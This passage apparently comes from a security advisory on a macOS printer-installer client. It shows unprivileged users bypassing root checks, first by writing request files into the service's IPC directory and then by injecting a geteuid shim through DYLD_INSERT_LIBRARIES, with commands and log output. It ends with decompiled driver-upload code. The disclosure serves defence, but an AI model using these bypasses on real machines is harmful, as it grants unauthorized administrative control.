-r-xr-x---   1 root  wheel     209 Mar  5  2021 disable_updates.sh
-r-xr-x---   1 root  wheel     243 Mar  5  2021 ignore_certificate_errors.sh
-r-xr-x---   1 root  wheel    3343 Mar  5  2021 install_fips_openssl.sh
-r-xr-x---   1 root  wheel     214 Mar  5  2021 kerberos_timeout.sh
-r-xr-x---   1 root  wheel     205 Mar  5  2021 lock_home_url.sh
-r-xr-x---   1 root  wheel     188 Mar  5  2021 refresh.sh
-r-xr-x---   1 root  wheel     725 Mar  5  2021 restart_service.sh
-r-xr-x---   1 root  wheel     197 Mar  5  2021 set_home_url.sh
-r-xr-x---   1 root  wheel     332 Mar  5  2021 toggle_debug_mode.sh
-r-xr-x---   1 root  wheel    1559 Mar  5  2021 uninstall.sh
-r-xr-x---   1 root  wheel     212 Mar  5  2021 use_authorization_code.sh
-r-xr-x---   1 root  wheel     210 Mar  5  2021 user_from_file.sh
user@laptop bin %
</code></pre>
<p>These scripts are not readable by normal user - only administrator users can read these scripts and it is impossible to execute these commands as normal user.</p>
<p>Content of <code>/opt/PrinterInstallerClient/bin/refresh.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>kali% cat refresh.sh 
<span style="color: #408080; font-style: italic">#!/bin/bash</span>

<span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Scheduling refresh&quot;</span>

<span style="color: #008000">set</span> -e

<span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Creating request&quot;</span>
<span style="color: #19177C">install_directory</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>cat /etc/pl_dir<span style="color: #BA2121">`</span>

<span style="color: #BA2121">&quot;</span><span style="color: #19177C">$install_directory</span><span style="color: #BA2121">/service_interface/./PrinterInstallerClientService&quot;</span> refresh
kali%
</pre></div>

<p>Executing manually the command found in the shell script will result in a failure:</p>
<pre><code>user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService refresh 
Having root/administrator privileges is required to run this command
user@laptop bin %
</code></pre>
<p>The executions of all the commands found in shell scripts inside <code>/opt/PrinterInstallerClient/bin</code> will be blocked:</p>
<pre><code>user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService configure_proxy  manual 192.168.100.1:8080
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ad_override_file test
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService bundle_debug
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_home_url_security true
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_ipp_queue_interpretation true      
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_updates true      
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ignore_certificate_errors true
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService kerberos_timeout 10
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService lock_home_url --unlock
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService refresh
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService set_home_url http 192.168.100.1
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService toggle_debug_mode
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService uninstall
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService use_authorization_code 123
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService user_from_file /etc/passwd
Having root/administrator privileges is required to run this command
</code></pre>
<p>These commands are blocked.</p>
<p>Some additional commands appear to exist.</p>
<p>Commands using the <code>PrinterInstallerClientService</code> binary:</p>
<pre><code>executive@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ad_override_file disable_ipp_queue_interpretation true
usage: PrinterInstallerClientService [-h] {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
</code></pre>
<p>Using the Inter-process communication, it is possible to bypass these restrictions.</p>
<p>For example, <code>toggle_debug_mode</code> is blocked using command line but will work with IPC, even with a non-administrator account.</p>
<p>Enabling the debug mode as <code>user</code> user:</p>
<pre><code>user@laptop bin % echo -n 'TOGGLE_DEBUG_MODE'  &gt; /opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900
</code></pre>
<p>The logs confirm the debug mode has been enabled:</p>
<pre><code>2021-12-09 21:25:24,164 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900'
2021-12-09 21:25:24,165 (INFO): Received request: TOGGLE_DEBUG_MODE
2021-12-09 21:25:24,165 (INFO): Creating task:
Command: 'TOGGLE_DEBUG_MODE'
Arguments: 
User ID: 501
Group ID: 20
Use UI: False
Origin: 'INTERNAL'
2021-12-09 21:25:24,167 (INFO): Turning on debug mode
2021-12-09 21:25:24,167 (INFO): Done with request: TOGGLE_DEBUG_MODE
2021-12-09 21:25:27,555 (INFO): CPU Usage since debug mode enabled (Top 50)
2021-12-09 21:25:27,557 (INFO):          3 function calls (5 primitive calls) in 0.000 seconds
</code></pre>
<p>The logs will then be filed with a lot of detailed information with entire stack traces:</p>
<pre><code>2021-12-09 21:25:27,559 (INFO): Open Files in PrinterInstallerClientService (157)
2021-12-09 21:25:27,561 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/launchd_service.log', fd=1)
2021-12-09 21:25:27,562 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/launchd_service_error.log', fd=2)
2021-12-09 21:25:27,563 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/service.log', fd=3)
2021-12-09 21:25:27,565 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/service_info.log', fd=4)
[...]
2021-12-09 21:25:27,648 (INFO): printer_installer/client/service/process/debug/cpu_monitor.py:28: size=387 B, count=7, average=55 B
2021-12-09 21:25:27,649 (INFO): /usr/local/python3.6/lib/python3.6/pstats.py:422: size=374 B, count=7, average=53 B
2021-12-09 21:25:27,651 (INFO): psutil/__init__.py:1280: size=371 B, count=7, average=53 B
2021-12-09 21:25:27,652 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:809: size=348 B, count=7, average=50 B
2021-12-09 21:25:27,654 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:802: size=348 B, count=7, average=50 B
2021-12-09 21:25:27,655 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:822: size=347 B, count=7, average=50 B
2021-12-09 21:25:27,656 (INFO): yappi.py:195: size=346 B, count=5, average=69 B
[...]
2021-12-09 21:25:28,146 (INFO): &lt;RequestProcessor(Thread-185, started daemon 123145360580608)&gt;, id: 4427604880, ident: 123145360580608, stack: 
  File "/usr/local/python3.6/lib/python3.6/threading.py", line 884, in _bootstrap
  File "/usr/local/python3.6/lib/python3.6/threading.py", line 916, in _bootstrap_inner
  File "printer_installer/client/service/process/scheduler/request_processor.py", line 24, in run
  File "printer_installer/client/service/process/scheduler/request_processor.py", line 28, in _run_raises
  File "printer_installer/client/service/process/scheduler/request_processor.py", line 62, in _run
  File "printer_installer/client/service/process/scheduler/execute_tasks.py", line 12, in execute_tasks
  File "printer_installer/client/service/process/task/task.py", line 76, in call
  File "printer_installer/client/service/process/task/upload_driver.py", line 32, in _call
  File "printer_installer/client/service/connection/interface/upload_driver.py", line 17, in upload_driver
  File "printer_installer/client/service/connection/interface/upload_driver.py", line 23, in _run
  File "printer_installer/client/service/connection/interface/messenger.py", line 30, in read_message
</code></pre>
<p>The entire security model of inter-process communication is broken.</p>
<p><a id="mac-auth-bypass-printerinstallerclientservice"></a></p>
<h2>Details - Authentication bypass on the PrinterInstallerClientService program</h2>
<p>It is possible to perform administrative actions using <code>LD_PRELOAD</code> on <code>geteuid()</code>.</p>
<p>The program <code>/opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService</code> requires root privileges:</p>
<pre><code>user@laptop /tmp % /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService bundle_debug
Having root/administrator privileges is required to run this command
</code></pre>
<p>Bypass using <code>LD_PRELOAD</code> on <code>geteuid()</code> (from <code>command.pyc</code>):</p>
<pre><code>user@laptop /tmp % cat /tmp/test2.c 
unsigned int geteuid() { return (0); }
user@laptop /tmp % gcc -shared -fPIC -o test2.so test2.c 
user@laptop /tmp % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService bundle_debug
</code></pre>
<p>And the bypass works, the <code>bundle_debug</code> mode has been enabled:</p>
<pre><code>2021-12-10 20:39:04,922 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0Zto9weDkF0zAfAD-20220119203904'
2021-12-10 20:39:04,923 (INFO): Received request: BUNDLE_DEBUG
2021-12-10 20:39:04,924 (INFO): Creating task:
Command: 'BUNDLE_DEBUG'
Arguments: 
User ID: 501
Group ID: 20
Use UI: False
Origin: 'INTERNAL'
2021-12-10 20:39:05,923 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/00Zto9weDkF0zAfAD-20220119203904'
2021-12-10 20:39:05,924 (INFO): Received request: TOGGLE_DEBUG_MODE
2021-12-10 20:39:05,925 (INFO): Creating task:
Command: 'TOGGLE_DEBUG_MODE'
Arguments: 
User ID: 0
Group ID: 0
Use UI: False
Origin: 'INTERNAL'
2021-12-10 20:39:05,926 (INFO): Turning on debug mode
2021-12-10 20:39:05,926 (INFO): Done with request: TOGGLE_DEBUG_MODE
</code></pre>
<p>We can now perform some of the administrative actions:</p>
<pre><code>user@laptop ~ % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService --help
usage: PrinterInstallerClientService [-h]
                                     {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
                                     ...

positional arguments:
  {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}

optional arguments:
  -h, --help            show this help message and exit
user@laptop ~ %
</code></pre>
<p>Some actions requiring write access to <code>/opt/PrinterInstallerClient/configuration.json</code> will fail:</p>
<pre><code>user@laptop service_interface % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y ./PrinterInstallerClientService set_home_url http www2.google.com
Error trying to run command: 
Traceback (most recent call last):
  File "printer_installer/client/service/process/command.py", line 46, in handle
  File "printer_installer/client/service/process/command.py", line 170, in _handle
  File "/usr/local/python3.6/lib/python3.6/contextlib.py", line 82, in __enter__
  File "printer_installer/client/service/context.py", line 81, in configuration
  File "printer_installer/client/service/context.py", line 1015, in __enter__
  File "printer_installer/client/service/context.py", line 1027, in _load
PermissionError: [Errno 13] Permission denied: '/opt/PrinterInstallerClient/configuration.json'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "cx_Freeze/initscripts/__startup__.py", line 14, in run
  File "build-osx/init_script.py", line 38, in run
    exec(code, m.__dict__)
  File "printer_installer/client/service/main.py", line 166, in &lt;module&gt;
  File "printer_installer/client/service/process/command.py", line 52, in handle
  File "/usr/local/python3.6/lib/python3.6/traceback.py", line 169, in print_last
ValueError: no last exception
user@laptop service_interface %
</code></pre>
<p>The entire security model of inter-process communication is broken.</p>
<p><a id="mac-potential-drivers-upload"></a></p>
<h2>Details - Potential upload of new drivers</h2>
<p>After reading some Python code found in the solution, the names of tasks used in APIs were identified.</p>
<p>The Python bytecode was converted back to Python using <a href="https://github.com/rocky/python-uncompyle6">Uncompyle6</a>.</p>
<p>Identification of tasks used in APIs:</p>
<pre><code>kali% pwd
/home/user/laptop-mac/files-opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task
kali% grep request_name *.py | grep =
acquire_active_oauth_token.pyc.py:    request_name = 'ACQUIRE_ACTIVE_OAUTH_TOKEN'
bundle_debug.pyc.py:    request_name = 'BUNDLE_DEBUG'
default.pyc.py:    request_name = 'DEFAULT'
edit_profile.pyc.py:    request_name = 'EDIT_PROFILE'
get_context_menu_items.pyc.py:    request_name = 'GET_CONTEXT_MENU_ITEMS'
get_security_info.pyc.py:    request_name = 'GET_SECURITY_INFO'
get_security_info.pyc.py:        use_ui = self.context.origin != constants.internal_request_name
get_security_info.pyc.py:            logging.error((error.format(self.request_name)), exc_info=True)
idp_direct_login.pyc.py:    request_name = 'IDP_DIRECT_LOGIN'
idp_direct_login.pyc.py:        if self.context._origin == self.context.constants.interface_request_name:
install_printer.pyc.py:    request_name = 'INSTALL_PRINTER'
logout_idp_user.pyc.py:    request_name = 'LOGOUT_IDP_USER'
logout_idp_user.pyc.py:        if self.context._origin == self.context.constants.interface_request_name:
open_home_url.pyc.py:    request_name = 'OPEN_HOME_URL'
open_print_job_management.pyc.py:    request_name = 'OPEN_PRINT_JOB_MANAGEMENT'
query_ip.pyc.py:    request_name = 'QUERY_IP'
record_print_job.pyc.py:    request_name = 'RECORD_PRINT_JOB'
refresh.pyc.py:    request_name = 'REFRESH'
replace_driver.pyc.py:    request_name = 'REPLACE_DRIVER'
send_gui_message.pyc.py:    request_name = 'SEND_GUI_MESSAGE'
show_idp_authentication_app.pyc.py:    request_name = 'SHOW_IDP_AUTHENTICATION_APP'
show_idp_authentication_app.pyc.py:            if self.context._origin == self.context.constants.interface_request_name:
show_secure_release_prompt.pyc.py:    request_name = 'SHOW_SECURE_RELEASE_PROMPT'
show_secure_release_settings.pyc.py:    request_name = 'SHOW_SECURE_RELEASE_SETTINGS'
task_by_name.pyc.py:task_by_name = {AcquireActiveOauthToken.request_name: AcquireActiveOauthToken,
task.pyc.py:    request_name = None
task.pyc.py:        data = cls.request_name.encode('utf-8') + b'\n'
toggle_debug_mode.pyc.py:    request_name = 'TOGGLE_DEBUG_MODE'
update_print_job_state.py:    request_name = 'UPDATE_PRINT_JOB_STATE'
update_print_job_state.pyc.py:    request_name = 'UPDATE_PRINT_JOB_STATE'
upload_driver.pyc.py:    request_name = 'UPLOAD_DRIVER'
use_authorization_code.pyc.py:    request_name = 'USE_AUTHORIZATION_CODE'
</code></pre>
<p>Other tasks were identified in <code>PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.py</code> (extracted from <code>PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.pyc</code> using uncompyle6):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">326</span>     <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;IS_CLIENT_READY&#39;</span>: <span style="color: #408080; font-style: italic"># [1] command IS_CLIENT_READY</span>
<span style="color: #666666">327</span>         response <span style="color: #666666">=</span> _DummyResponse(<span style="color: #008000">True</span>, _BROWSER_INTERFACE_VERSION)
<span style="color: #666666">328</span>     <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">329</span>         <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;SET_CONFIGURATION&#39;</span>: <span style="color: #408080; font-style: italic"># [2] command SET_CONFIGURATION</span>
<span style="color: #666666">330</span> 
<span style="color: #666666">331</span>             <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">_Task</span>(task<span style="color: #666666">.</span>Task):
<span style="color: #666666">332</span>                 request_name <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;SET_CONFIGURATION&#39;</span> <span style="color: #408080; font-style: italic"># [3] command SET_CONFIGURATION</span>
<span style="color: #666666">333</span> 
<span style="color: #666666">334</span>                 <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_call</span>(<span style="color: #008000">self</span>):
<span style="color: #666666">335</span>                     <span style="color: #008000; font-weight: bold">pass</span>
<span style="color: #666666">336</span> 
<span style="color: #666666">337</span>             arguments <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">338</span>             response <span style="color: #666666">=</span> (_Task<span style="color: #666666">.</span>generate_internal_request)(context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">339</span>         <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">340</span>             <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;QUERY_IP&#39;</span>: <span style="color: #408080; font-style: italic"># [4] command QUERY_IP</span>
<span style="color: #666666">341</span>                 response <span style="color: #666666">=</span> query_ip<span style="color: #666666">.</span>QueryIp<span style="color: #666666">.</span>generate_internal_request(context, request_id<span style="color: #666666">=</span>request_id)
<span style="color: #666666">342</span>             <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">343</span>                 <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;ACQUIRE_ACTIVE_OAUTH_TOKEN&#39;</span>: <span style="color: #408080; font-style: italic"># [5] command ACQUIRE_ACTIVE_OAUTH_TOKEN</span>
<span style="color: #666666">344</span>                     arguments <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">345</span>                     response <span style="color: #666666">=</span> (acquire_active_oauth_token<span style="color: #666666">.</span>AcquireActiveOauthToken<span style="color: #666666">.</span>generate_internal_request)(
<span style="color: #666666">346</span>  context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">347</span>                 <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">348</span>                     <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;GET_SECURITY_INFO&#39;</span>: [<span style="color: #666666">6</span>] command GET_SECURITY_INFO
<span style="color: #666666">349</span>                         arguments <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">350</span>                         response <span style="color: #666666">=</span> (get_security_info<span style="color: #666666">.</span>GetSecurityInfo<span style="color: #666666">.</span>generate_internal_request)(
<span style="color: #666666">351</span>  context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">352</span>                     <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">353</span>                         <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;INSTALL_PRINTER&#39;</span>: [<span style="color: #666666">7</span>] command INSTALL_PRINTER
<span style="color: #666666">354</span>                             protocol, hostname, abs_url, session_id, set_id, account_id <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">355</span>                             ptype <span style="color: #666666">=</span> parameters[<span style="color: #BA2121">&#39;ptype&#39;</span>]
<span style="color: #666666">356</span>                             pid <span style="color: #666666">=</span> parameters[<span style="color: #BA2121">&#39;pid&#39;</span>]
<span style="color: #666666">357</span>                             arguments <span style="color: #666666">=</span> [protocol, hostname, abs_url, session_id, ptype, pid, set_id, account_id]
<span style="color: #666666">358</span>                             response <span style="color: #666666">=</span> (install_printer<span style="color: #666666">.</span>InstallPrinter<span style="color: #666666">.</span>generate_internal_request)(context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">359</span>                         <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">360</span>                             <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;UPLOAD_DRIVER&#39;</span>: <span style="color: #408080; font-style: italic"># [8] command UPLOAD_DRIVER</span>
<span style="color: #666666">361</span>                                 arguments <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">362</span>                                 response <span style="color: #666666">=</span> (upload_driver<span style="color: #666666">.</span>UploadDriver<span style="color: #666666">.</span>generate_internal_request)(context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">363</span>                             <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">364</span>                                 <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;REPLACE_DRIVER&#39;</span>: <span style="color: #408080; font-style: italic"># [9] command REPLACE_DRIVER</span>
<span style="color: #666666">365</span>                                     protocol, hostname, abs_url, session_id, set_id, account_id <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">366</span>                                     driver_id <span style="color: #666666">=</span> parameters[<span style="color: #BA2121">&#39;driverId&#39;</span>]
<span style="color: #666666">367</span>                                     model_title <span style="color: #666666">=</span> parameters[<span style="color: #BA2121">&#39;modelTitle&#39;</span>]
<span style="color: #666666">368</span>                                     arguments <span style="color: #666666">=</span> [protocol, hostname, abs_url, session_id, driver_id, model_title, set_id, account_id]
<span style="color: #666666">369</span>                                     response <span style="color: #666666">=</span> (replace_driver<span style="color: #666666">.</span>ReplaceDriver<span style="color: #666666">.</span>generate_internal_request)(context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">370</span>                                 <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">371</span>                                     <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #AA22FF; font-weight: bold">in</span> (<span style="color: #BA2121">&#39;CREATE_PROFILE&#39;</span>, <span style="color: #BA2121">&#39;EDIT_PROFILE&#39;</span>): <span style="color: #408080; font-style: italic"># [10] commands CREATE_PROFILE &amp;&amp; EDIT_PROFILE</span>
<span style="color: #666666">372</span>                                         protocol, hostname, abs_url, session_id, set_id, account_id <span style="color: #666666">=</span> get_configuration_parameters()
<span style="color: #666666">373</span>                                         driver_id <span style="color: #666666">=</span> parameters[<span style="color: #BA2121">&#39;driverId&#39;</span>]
<span style="color: #666666">374</span>                                         profile_id <span style="color: #666666">=</span> parameters<span style="color: #666666">.</span>get(<span style="color: #BA2121">&#39;profileId&#39;</span>, <span style="color: #BA2121">&#39;-1&#39;</span>)
<span style="color: #666666">375</span>                                         upload_id <span style="color: #666666">=</span> parameters<span style="color: #666666">.</span>get(<span style="color: #BA2121">&#39;uploadId&#39;</span>, <span style="color: #BA2121">&#39;-1&#39;</span>)
<span style="color: #666666">376</span>                                         arguments <span style="color: #666666">=</span> [protocol, hostname, abs_url, session_id, driver_id, profile_id, upload_id, set_id, account_id]
<span style="color: #666666">377</span>                                         response <span style="color: #666666">=</span> (edit_profile<span style="color: #666666">.</span>EditProfile<span style="color: #666666">.</span>generate_internal_request)(context, <span style="color: #666666">*</span>arguments, <span style="color: #666666">**</span>{<span style="color: #BA2121">&#39;request_id&#39;</span>: request_id})
<span style="color: #666666">378</span>                                     <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">379</span>                                         <span style="color: #008000; font-weight: bold">if</span> command <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;GET_CONTEXT_MENU_ITEMS&#39;</span>: <span style="color: #408080; font-style: italic"># [11] command GET_CONTEXT_MENU_ITEMS</span>
</pre></div>

<p>The <code>UPLOAD_DRIVER</code> task is very interesting as it is basically an implementation of uploading files to a remote server.</p>
<p>Content of <code>./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/upload_driver.pyc.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">13</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">UploadDriver</span>(task<span style="color: #666666">.</span>Task):
 <span style="color: #666666">14</span>     request_name <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;UPLOAD_DRIVER&#39;</span>
 <span style="color: #666666">15</span>     never_execute_for_all_users <span style="color: #666666">=</span> <span style="color: #008000">True</span>
 <span style="color: #666666">16</span>     never_use_ui <span style="color: #666666">=</span> <span style="color: #008000">False</span>
 <span style="color: #666666">17</span> 
 <span style="color: #666666">18</span>     <span style="color: #AA22FF">@property</span>
 <span style="color: #666666">19</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">priority</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">20</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #666666">0.5</span>
 <span style="color: #666666">21</span> 
 <span style="color: #666666">22</span>     <span style="color: #AA22FF">@property</span>
 <span style="color: #666666">23</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">default_value</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">24</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">False</span>
 <span style="color: #666666">25</span> 
 <span style="color: #666666">26</span>     <span style="color: #AA22FF">@property</span>
 <span style="color: #666666">27</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">description</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">28</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&#39;upload driver&#39;</span>
 <span style="color: #666666">29</span> 
 <span style="color: #666666">30</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">__init__</span>(<span style="color: #008000">self</span>, context, driver_id<span style="color: #666666">=</span><span style="color: #008000">None</span>):
 <span style="color: #666666">31</span>         <span style="color: #008000">super</span>()<span style="color: #666666">.</span><span style="color: #0000FF">__init__</span>(context)
 <span style="color: #666666">32</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_driver_id <span style="color: #666666">=</span> driver_id
 <span style="color: #666666">33</span> 
 <span style="color: #666666">34</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_call</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">35</span>         logging<span style="color: #666666">.</span>debug(<span style="color: #BA2121">&#39;Getting driver paths and annotation from GUI&#39;</span>)
 <span style="color: #666666">36</span>         local_paths, annotation <span style="color: #666666">=</span> interface_upload_driver<span style="color: #666666">.</span>upload_driver(<span style="color: #008000">self</span><span style="color: #666666">.</span>context)
 <span style="color: #666666">37</span>         logging<span style="color: #666666">.</span>debug(<span style="color: #BA2121">&#39;Selected in the GUI: {}, {}&#39;</span><span style="color: #666666">.</span>format(local_paths, annotation))
 <span style="color: #666666">38</span>         <span style="color: #008000; font-weight: bold">if</span> (local_paths, annotation) <span style="color: #666666">==</span> (<span style="color: #008000">None</span>, <span style="color: #008000">None</span>):
 <span style="color: #666666">39</span>             logging<span style="color: #666666">.</span>debug(<span style="color: #BA2121">&#39;No driver to upload selected&#39;</span>)
 <span style="color: #666666">40</span>             <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #BA2121">&#39;Driver selection cancelled.&#39;</span>, <span style="color: #008000">False</span>)
 <span style="color: #666666">41</span>         <span style="color: #008000; font-weight: bold">else</span>:
 <span style="color: #666666">42</span>             logging<span style="color: #666666">.</span>debug(<span style="color: #BA2121">&#39;Uploading drivers to the database&#39;</span>)
 <span style="color: #666666">43</span>             upload_id <span style="color: #666666">=</span> server_upload_driver<span style="color: #666666">.</span>upload_driver(local_paths,
 <span style="color: #666666">44</span>               annotation,
 <span style="color: #666666">45</span>               (<span style="color: #008000">self</span><span style="color: #666666">.</span>context),
 <span style="color: #666666">46</span>               replace_driver_id<span style="color: #666666">=</span>(<span style="color: #008000">self</span><span style="color: #666666">.</span>_driver_id))
 <span style="color: #666666">47</span>             <span style="color: #008000; font-weight: bold">if</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>_driver_id <span style="color: #AA22FF; font-weight: bold">is</span> <span style="color: #AA22FF; font-weight: bold">not</span> <span style="color: #008000">None</span>:
 <span style="color: #666666">48</span>                 upload_id <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>_driver_id
 <span style="color: #666666">49</span>             current_driver_data <span style="color: #666666">=</span> driver<span style="color: #666666">.</span>create_local_driver_data(local_paths)
 <span style="color: #666666">50</span>             manufacturer <span style="color: #666666">=</span> current_driver_data<span style="color: #666666">.</span>manufacturer
 <span style="color: #666666">51</span>             model <span style="color: #666666">=</span> current_driver_data<span style="color: #666666">.</span>model
